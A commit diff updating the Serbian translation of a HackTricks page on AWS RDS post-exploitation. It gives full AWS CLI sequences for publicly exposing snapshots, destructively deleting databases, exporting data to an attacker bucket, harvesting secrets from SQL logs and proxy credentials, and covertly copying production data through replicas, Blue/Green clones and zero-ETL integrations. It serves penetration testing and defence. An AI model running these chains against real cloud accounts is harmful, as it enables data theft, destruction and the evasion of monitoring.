mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
@@ -12,7 +12,7 @@ Za više informacija pogledajte:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Ako napadač ima dovoljno dozvola, može učiniti **DB javno dostupnom** kreiranjem snapshot-a DB, a zatim kreiranjem javno dostupne DB iz tog snapshot-a.
|
||||
Ako napadač ima dovoljno dozvola, može učiniti **DB javno dostupnom** kreiranjem snapshot-a baze, a zatim kreiranjem javno dostupne DB iz tog snapshot-a.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,21 +39,49 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Napadač sa `rds:StopDBCluster` ili `rds:StopDBInstance` može primorati trenutno zaustavljanje RDS instance ili celog klastera, što izaziva nedostupnost baze podataka, prekid konekcija i prekid procesa koji zavise od baze podataka.
|
||||
Napadač koji ima rds:StopDBCluster ili rds:StopDBInstance može prisiliti trenutno zaustavljanje RDS instance ili čitavog klastera, što izaziva nedostupnost baze podataka, prekinute konekcije i prekid procesa koji zavise od baze.
|
||||
|
||||
Da zaustavite jednu DB instance (primer):
|
||||
Da biste zaustavili jednu DB instancu (пример):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Da biste zaustavili ceo DB cluster (primer):
|
||||
Da zaustavite čitav DB cluster (primer):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Modify*`
|
||||
Napadač kome su dodeljena rds:Modify* ovlašćenja može izmeniti kritične konfiguracije i pomoćne resurse (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) bez direktnog dodirivanja instance or cluster direktno. Promene kao što su podešavanje connection/time-out parameters, menjanje a proxy endpoint, modifikovanje koje certificates su trusted, menjanje logical capacity, ili rekonfigurisanje subnet group mogu oslabiti bezbednost (open new access paths), pokvariti routing i load-balancing, poništiti replication/backup policies, i generalno degradirati availability ili recoverability. Ove izmene takođe mogu olakšati indirektnu data exfiltration ili otežati uredan recovery baze podataka nakon incidenta.
|
||||
|
||||
Premestiti ili promeniti subnets dodeljene RDS subnet group:
|
||||
```bash
|
||||
aws rds modify-db-subnet-group \
|
||||
--db-subnet-group-name <db-subnet-group-name> \
|
||||
--subnet-ids <subnet-id-1> <subnet-id-2>
|
||||
```
|
||||
Izmenite niskonivske parametre engine-a u cluster parameter group:
|
||||
```bash
|
||||
aws rds modify-db-cluster-parameter-group \
|
||||
--db-cluster-parameter-group-name <parameter-group-name> \
|
||||
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
|
||||
```
|
||||
### `rds:Restore*`
|
||||
|
||||
Napadač sa rds:Restore* privilegijama može vratiti čitave baze podataka iz snapshots, automated backups, point-in-time recovery (PITR) ili fajlova smeštenih u S3, kreirajući nove instance ili klastere popunjene podacima iz izabranog trenutka. Ove operacije ne prepisuju originalne resurse — one kreiraju nove objekte koji sadrže istorijske podatke — što napadaču omogućava da dobije pune, funkcionalne kopije baze podataka (iz prošlih tačaka u vremenu ili iz eksternih S3 fajlova) i upotrebi ih da exfiltrate podatke, manipuliše istorijskim zapisima ili obnovi prethodna stanja.
|
||||
|
||||
Vraćanje DB instance na određenu tačku u vremenu:
|
||||
```bash
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--source-db-instance-identifier <source-db-instance-identifier> \
|
||||
--target-db-instance-identifier <target-db-instance-identifier> \
|
||||
--restore-time "<restore-time-ISO8601>" \
|
||||
--db-instance-class <db-instance-class> \
|
||||
--publicly-accessible --no-multi-az
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Napadač kome je dodeljeno rds:Delete* može ukloniti RDS resurse, brišući DB instance, klastere, snapshot-e, automatske rezervne kopije, subnet grupe, parameter/option grupe i povezane artefakte, što može izazvati trenutni prekid usluge, gubitak podataka, uništenje tačaka oporavka i gubitak forenzičkih dokaza.
|
||||
Napadač kojem je dodeljena dozvola rds:Delete* može ukloniti RDS resurse — izbrisati DB instance, klastere, snapshot-ove, automatske rezervne kopije, subnet grupe, grupe parametara/opcija i povezane artefakte — što može prouzrokovati trenutni prekid usluge, gubitak podataka, uništenje tačaka oporavka i gubitak forenzičkih dokaza.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Napadač sa ovim dozvolama može **napraviti snapshot DB-a** i učiniti ga **javno dostupnim**. Zatim bi mogao u svom nalogu jednostavno kreirati DB iz tog snapshota.
|
||||
Napadač sa ovim permisijama može **napraviti snapshot DB** i učiniti ga **javno** **dostupnim**. Zatim može jednostavno u svom nalogu napraviti DB iz tog snapshot-a.
|
||||
|
||||
Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje može učiniti **druge** kreirane snapshot-e **javnim**.
|
||||
Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje može učiniti **druge** napravljene snapshot-e **javnim**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,48 +117,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Napadač koji ima dozvolu `rds:DownloadDBLogFilePortion` može **download portions of an RDS instance's log files**. Ako su osetljivi podaci ili pristupni podaci slučajno zabeleženi u logovima, napadač bi potencijalno mogao iskoristiti te informacije za eskalaciju privilegija ili izvođenje neautorizovanih radnji.
|
||||
Napadač sa dozvolom `rds:DownloadDBLogFilePortion` može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili pristupne informacije slučajno zabeležene u logovima, napadač bi mogao iskoristiti te informacije za eskalaciju privilegija ili izvršavanje neovlašćenih radnji.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: Pristup osetljivim informacijama ili neovlašćenim radnjama koristeći leaked credentials.
|
||||
**Potencijalni uticaj**: Pristup osetljivim informacijama ili neovlašćene akcije koristeći leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Napadač sa ovim dozvolama može **DoS postojeće RDS instance**.
|
||||
Napadač sa ovim dozvolama može izvršiti **DoS nad postojećim RDS instancama**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potencijalni uticaj**: Brisanje postojećih RDS instanci i mogući gubitak podataka.
|
||||
**Potencijalni uticaj**: Brisanje postojećih RDS instanci i potencijalni gubitak podataka.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testirati
|
||||
|
||||
Napadač sa ovom dozvolom može **izvesti RDS instance snapshot u S3 bucket**. Ako napadač ima kontrolu nad odredišnim S3 bucket-om, može potencijalno pristupiti osetljivim podacima u izvezenom snapshot-u.
|
||||
Napadač sa ovom dozvolom može **izvesti snapshot RDS instance u S3 bucket**. Ako napadač ima kontrolu nad ciljnim S3 bucket-om, može potencijalno pristupiti osetljivim podacima u izvezenom snapshotu.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potencijalni uticaj**: Pristup osetljivim podacima u izvezenom snapshotu.
|
||||
**Potencijalni uticaj**: Pristup osetljivim podacima u eksportovanom snapshot-u.
|
||||
|
||||
### Replikacija automatskih backup-ova između regiona za prikriveno vraćanje (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Replikacija automatizovanih backup-ova između regiona za prikriveni restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Iskoristite replikaciju automatskih backup-ova između regiona da tiho duplicirate automated backups RDS instance u drugi AWS Region i tamo ih obnovite. Napadač zatim može učiniti vraćenu DB javno dostupnom i resetovati master lozinku da bi pristupio podacima izvan kanala koje odbrana možda ne nadgleda u tom Regionu.
|
||||
Iskoristite replikaciju automatizovanih backup-ova između regiona da tiho duplirate automatizovane backupe RDS instance u drugi AWS Region i tamo izvršite restore. Napadač potom može učiniti obnovljenu DB javno dostupnom i resetovati master lozinku kako bi pristupio podacima izvan nadzora u Region-u koji odbrambeni timovi možda ne prate.
|
||||
|
||||
Potrebne dozvole (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
Potrebne permisije (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` u odredišnom Region-u
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` u odredišnom Region-u
|
||||
- `rds:RestoreDBInstanceToPointInTime` u odredišnom Region-u
|
||||
- `rds:ModifyDBInstance` u odredišnom Region-u
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (opciono čišćenje)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (da bi se izložila obnovljena DB)
|
||||
|
||||
Uticaj: Održavanje pristupa i eksfiltracija podataka obnavljanjem kopije produkcijskih podataka u drugi Region i njihovo javno izlaganje uz kredencijale pod kontrolom napadača.
|
||||
Uticaj: Persistencija i eksfiltracija podataka putem restauracije kopije produkcijskih podataka u drugi Region i javnog izlaganja uz kredencijale pod kontrolom napadača.
|
||||
|
||||
<details>
|
||||
<summary>Kompletan CLI primer (zamenite placeholder-e)</summary>
|
||||
<summary>Kraj-do-kraja CLI (zameni placeholder-e)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -199,26 +227,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Omogući kompletno SQL logovanje preko DB parameter groups i eksfiltriraj preko RDS log APIs
|
||||
### Omogućite full SQL logging via DB parameter groups and exfiltrate via RDS log APIs
|
||||
|
||||
Zloupotrijebi `rds:ModifyDBParameterGroup` zajedno sa RDS log download APIs da zabeležiš sve SQL izjave koje aplikacije izvršavaju (nisu potrebni DB engine credentials). Omogući engine SQL logging i preuzmi log fajlove preko `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (ili REST `downloadCompleteLogFile`). Korisno za prikupljanje upita koji mogu sadržati tajne/PII/JWTs.
|
||||
Iskoristite `rds:ModifyDBParameterGroup` zajedno sa RDS log download APIs da zabeležite sve SQL izjave koje aplikacije izvršavaju (nije potrebna DB engine credentials). Omogućite engine SQL logging i preuzmite fajl logove putem `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (ili REST `downloadCompleteLogFile`). Korisno za prikupljanje upita koji mogu sadržati secrets/PII/JWTs.
|
||||
|
||||
Potrebne permisije (minimalno):
|
||||
Potrebne dozvole (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (samo za priključivanje custom parameter group ako instanca koristi default)
|
||||
- `rds:RebootDBInstance` (za parametre koji zahtevaju reboot, npr. PostgreSQL)
|
||||
|
||||
Koraci
|
||||
1) Recon target and current parameter group
|
||||
1) Recon target i trenutni parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Osigurajte da je povezan prilagođeni DB parameter group (ne možete izmeniti podrazumevani)
|
||||
- Ako instanca već koristi prilagođeni DB parameter group, iskoristite njegovo ime u sledećem koraku.
|
||||
- U suprotnom kreirajte i prikačite jedan koji odgovara porodici engine-a:
|
||||
2) Osigurajte da je prikačen prilagođeni DB parameter group (default se ne može menjati)
|
||||
- Ako instanca već koristi prilagođeni DB parameter group, iskoristite njegovo ime u narednom koraku.
|
||||
- U suprotnom, kreirajte i prikačite jedan koji odgovara engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -244,7 +272,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (zahteva restart):
|
||||
- PostgreSQL engines (reboot required):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,11 +284,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Pustite opterećenje da radi (ili generišite upite). Upiti će biti zapisani u fajl logova engine-a
|
||||
4) Dozvolite da workload radi (ili generišite upite). SQL upiti će biti zapisani u engine file logs
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Pronađite i preuzmite logove (bez DB kredencijala)
|
||||
5) Otkrijte i preuzmite logove (nisu potrebni DB kredencijali)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -271,7 +299,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analizirajte van mreže radi osetljivih podataka
|
||||
6) Analizirajte offline radi pronalaženja osetljivih podataka
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -282,7 +310,7 @@ Primer dokaza (redigovano):
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Čišćenje
|
||||
- Vrati parametre na podrazumevane vrednosti i po potrebi ponovo pokreni:
|
||||
- Vrati parametre na podrazumevane vrednosti i restartuj ako je potrebno:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -297,19 +325,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Uticaj: Post-exploitation pristup podacima hvatanjem svih SQL izjava aplikacije putem AWS API-ja (no DB creds), potencijalno leaking secrets, JWTs i PII.
|
||||
Impact: Post-exploitation pristup podacima hvatanjem svih application SQL statements putem AWS APIs (no DB creds), potencijalno leaking secrets, JWTs i PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Zloupotrebite RDS read replicas da biste dobili out-of-band read access bez diranja credentials primarne instance. Napadač može kreirati read replica iz production instance, resetovati master password replike (ovo ne menja primary), i opciono izložiti repliku javno kako bi exfiltrate data.
|
||||
Iskoristiti RDS read replicas da se dobije out-of-band read access bez diranja credentials primarne instance. Napadač može kreirati read replica iz production instance, resetovati master password na replici (ovo ne menja primary), i opciono izložiti replicu javno radi exfiltrate data.
|
||||
|
||||
Potrebne permisije (minimum):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (ako se izloži javno)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Uticaj: Read-only pristup production podacima preko replike sa credentials koje kontroliše napadač; manja verovatnoća detekcije jer primarna instanca ostaje netaknuta i replikacija se nastavlja.
|
||||
Impact: Read-only access do production podataka preko replike sa attacker-controlled credentials; manja verovatnoća detekcije jer primary ostaje netaknut i replication se nastavlja.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -341,12 +369,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Primer dokaza (MySQL):
|
||||
- Status replike DB-a: `available`, read replication: `replicating`
|
||||
- Uspešna konekcija sa novom lozinkom i `@@read_only=1` što potvrđuje pristup repliki samo za čitanje.
|
||||
- Status Replica DB-a: `available`, replika za čitanje: `replicating`
|
||||
- Uspešna konekcija sa novom lozinkom i `@@read_only=1` koja potvrđuje pristup replici samo za čitanje.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Iskoristite RDS Blue/Green da klonirate produkcioni DB u kontinuirano replicirano green okruženje samo za čitanje. Zatim resetujte master kredencijale na green instanci da pristupite podacima bez diranja blue (prod) instance. Ovo je diskretnije od deljenja snapshot-a i često zaobilazi monitoring fokusiran samo na izvor.
|
||||
Iskoristite RDS Blue/Green da klonirate produkcioni DB u kontinuirano replicirano, samo za čitanje green okruženje. Zatim resetujte master kredencijale za green da pristupite podacima bez diranja blue (prod) instance. Ovo je diskretnije od deljenja snapshot-a i često zaobilazi monitoring koji je fokusiran isključivo na izvor.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,22 +421,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Uticaj: Samo za čitanje, ali potpuni pristup podacima na skoro-uživo klonu produkcije bez menjanja produkcionog instance. Korisno za diskretno izvlačenje podataka i offline analizu.
|
||||
Uticaj: Samo za čitanje, ali potpuni pristup podacima na klonu produkcije skoro u realnom vremenu bez izmena produkcione instance. Korisno za prikriveno ekstrahovanje podataka i offline analizu.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
### Van-kanalni SQL preko RDS Data API omogućavanjem HTTP endpoint-a + resetovanjem master lozinke
|
||||
|
||||
Abuse Aurora da omogućite RDS Data API HTTP endpoint na ciljnom klasteru, resetujete master lozinku na vrednost koju kontrolišete i izvršavate SQL preko HTTPS (nije potreban VPC mrežni put). Radi na Aurora engine-ima koji podržavaju Data API/EnableHttpEndpoint (npr. Aurora MySQL 8.0 provisioned; neke verzije Aurora PostgreSQL/MySQL).
|
||||
Iskoristite Aurora da omogućite RDS Data API HTTP endpoint na ciljanom klasteru, resetujete master lozinku na vrednost pod vašom kontrolom i pokrenete SQL preko HTTPS (nije potrebna VPC mrežna putanja). Radi na Aurora engine-ima koji podržavaju Data API/EnableHttpEndpoint (npr. Aurora MySQL 8.0 provisioned; neke verzije Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
Minimalne dozvole:
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (i rds-data:BatchExecuteStatement ako se koristi)
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Uticaj: Zaobilaženje mrežne segmentacije i eksfiltracija podataka putem AWS API-ja bez direktne VPC konektivnosti do DB.
|
||||
Uticaj: Zaobilaženje mrežne segmentacije i eksfiltracija podataka preko AWS APIs bez direktne VPC konektivnosti do DB.
|
||||
|
||||
<details>
|
||||
<summary>Kompletan CLI (primer za Aurora MySQL)</summary>
|
||||
<summary>End-to-end CLI (Aurora MySQL primer)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -460,24 +488,24 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
```
|
||||
</details>
|
||||
|
||||
Notes:
|
||||
- Ako rds-data odbije multi-statement SQL, pošaljite odvojene execute-statement pozive.
|
||||
- Za engine-e gde modify-db-cluster --enable-http-endpoint nema efekta, koristite rds enable-http-endpoint --resource-arn.
|
||||
- Proverite da li engine/version zaista podržava Data API; inače HttpEndpointEnabled će ostati False.
|
||||
Napomene:
|
||||
- Ako rds-data odbija multi-statement SQL, izvršite zasebne execute-statement pozive.
|
||||
- Za engine-e kod kojih modify-db-cluster --enable-http-endpoint nema efekta, koristite rds enable-http-endpoint --resource-arn.
|
||||
- Uverite se da engine/version zaista podržava Data API; u suprotnom HttpEndpointEnabled će ostati False.
|
||||
|
||||
|
||||
### Prikupljanje DB kredencijala putem RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Iskoristite konfiguraciju RDS Proxy da otkrijete Secrets Manager secret koji se koristi za backend autentifikaciju, a zatim pročitajte taj secret da biste dobili kredencijale baze podataka. Mnoge okoline dodeljuju široka `secretsmanager:GetSecretValue` prava, što ovo čini niskotarifnim pivotom ka DB creds. Ako tajna koristi CMK, pogrešno ograničena KMS dozvola može takođe omogućiti `kms:Decrypt`.
|
||||
Iskoristite RDS Proxy konfiguraciju da otkrijete Secrets Manager secret koji se koristi za backend autentifikaciju, a zatim pročitajte taj secret da biste dobili database credentials. Mnoge okoline dodeljuju široke `secretsmanager:GetSecretValue` dozvole, što ovo čini jednostavnim putem do DB kredencijala. Ako secret koristi CMK, nepravilno ograničene KMS dozvole mogu takođe dozvoliti `kms:Decrypt`.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Potrebne dozvole (minimum):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` na referenciranom SecretArn
|
||||
- Opcionalno ako tajna koristi CMK: `kms:Decrypt` na tom ključu
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
|
||||
|
||||
Impact: Odmah otkrivanje DB username/password konfigurisanih na proxy-ju; omogućava direktan pristup DB ili dalji lateral movement.
|
||||
Impact: Odmah otkrivanje korisničkog imena i lozinke baze podataka konfigurisanih na proxy-ju; omogućava direktan pristup DB-u ili dalje lateralno kretanje.
|
||||
|
||||
Steps
|
||||
Koraci
|
||||
```bash
|
||||
# 1) Enumerate proxies and extract the SecretArn used for auth
|
||||
aws rds describe-db-proxies \
|
||||
@@ -509,24 +537,24 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Čišćenje (laboratorija)
|
||||
Čišćenje (lab)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Diskretna kontinuirana eksfiltracija putem Aurora zero‑ETL u Amazon Redshift (rds:CreateIntegration)
|
||||
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Iskoristite Aurora PostgreSQL zero‑ETL integraciju da kontinuirano replikujete produkcione podatke u Redshift Serverless namespace koji kontrolišete. Sa permisivnom Redshift resource policy koja autorizuje CreateInboundIntegration/AuthorizeInboundIntegration za određeni Aurora cluster ARN, napadač može uspostaviti gotovo u realnom vremenu kopiju podataka bez DB kredencijala, snapshota ili mrežnog izlaganja.
|
||||
Iskoristite Aurora PostgreSQL zero‑ETL integraciju za kontinuiranu replikaciju proizvodnih podataka u Redshift Serverless namespace koji kontrolišete. Sa permisivnom Redshift resource policy koja dozvoljava CreateInboundIntegration/AuthorizeInboundIntegration za određen Aurora cluster ARN, napadač može uspostaviti skoro real‑time kopiju podataka bez DB creds, snapshot‑ova ili mrežnog izlaganja.
|
||||
|
||||
Potrebne dozvole (minimum):
|
||||
Permissions needed (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (za upite)
|
||||
- `rds-data:ExecuteStatement` (opciono; za inicijalno ubacivanje podataka ako je potrebno)
|
||||
|
||||
Testirano na: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Kreirajte Redshift Serverless namespace + workgroup</summary>
|
||||
@@ -545,7 +573,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Konfigurišite politiku resursa za Redshift da biste omogućili izvor Aurora</summary>
|
||||
<summary>2) Konfigurišite politiku resursa za Redshift da dozvoli izvor Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -576,7 +604,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Kreiraj Aurora PostgreSQL klaster (omogućiti Data API i logičku replikaciju)</summary>
|
||||
<summary>3) Kreirajte Aurora PostgreSQL cluster (omogućite Data API i logičku replikaciju)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -607,7 +635,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Kreirajte zero‑ETL integraciju iz RDS-a</summary>
|
||||
<summary>4) Kreirajte zero‑ETL integraciju iz RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -619,7 +647,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materijalizujte i izvršavajte upite nad repliciranim podacima u Redshift</summary>
|
||||
<summary>5) Materijalizujte i izvršite upite nad repliciranim podacima u Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -632,12 +660,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
```
|
||||
</details>
|
||||
|
||||
Dokazi primećeni u testu:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
|
||||
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
|
||||
Dokazi uočeni u testu:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE za Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION je prikazao integration_id 377a462b-c42c-4f08-937b-77fe75d98211 i stanje PendingDbConnectState pre kreiranja DB.
|
||||
- Nakon CREATE DATABASE FROM INTEGRATION, prikaz tabela je otkrio šemu ztl i tabelu customers; SELECT iz ztl.customers vratio je 2 reda (Alice, Bob).
|
||||
|
||||
